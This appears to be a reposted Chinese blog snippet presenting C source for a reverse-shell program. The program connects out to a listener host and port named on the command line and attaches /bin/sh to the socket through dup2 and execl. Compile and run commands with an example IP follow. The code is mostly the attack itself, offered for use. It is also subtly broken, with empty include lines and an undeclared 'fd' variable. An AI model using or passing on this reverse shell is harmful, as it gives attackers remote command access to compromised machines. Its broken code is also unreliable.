NC反弹的小demo
生活随笔
收集整理的這篇文章主要介紹了
NC反弹的小demo
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一個有趣的NC反彈shell的demo
#include #include #include #include #include void error(char *msg) { perror(msg); exit(0); } int main(int argc, char *argv[]) { int sockfd, portno, lportno,n; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; struct hostent *server; char buffer[256]; if (argc < 3) { fprintf(stderr,"usage %s hostname port LocalPortn",argv[0]); exit(0); } //三個參數,目標主機,目標主機端口,本地源端口 portno = atoi(argv[2]); sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &client_addr, sizeof(client_addr)); lportno = atoi(argv[3]); client_addr.sin_family = AF_INET; client_addr.sin_addr.s_addr = INADDR_ANY; client_addr.sin_port = htons(lportno); //設置源端口 if (bind(sockfd, (struct sockaddr *) &client_addr, sizeof(client_addr)) < 0) error("ERROR on binding"); server = gethostbyname(argv[1]); if (server == NULL) { fprintf(stderr,"ERROR, no such host "); exit(0); } bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(portno); if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //連接 error("ERROR connecting"); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","sh -i", NULL); //執行shell close(fd); }編譯后執行時候
gcc client-port.c -o port chmod +x port ./port 你的IP 你的監聽端口 本地的源端口eg
./port 111.111.111.111 80 80
總結
以上是生活随笔為你收集整理的NC反弹的小demo的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Dll入口函数参数详解
- 下一篇: 《DLL木马进程内幕大揭秘》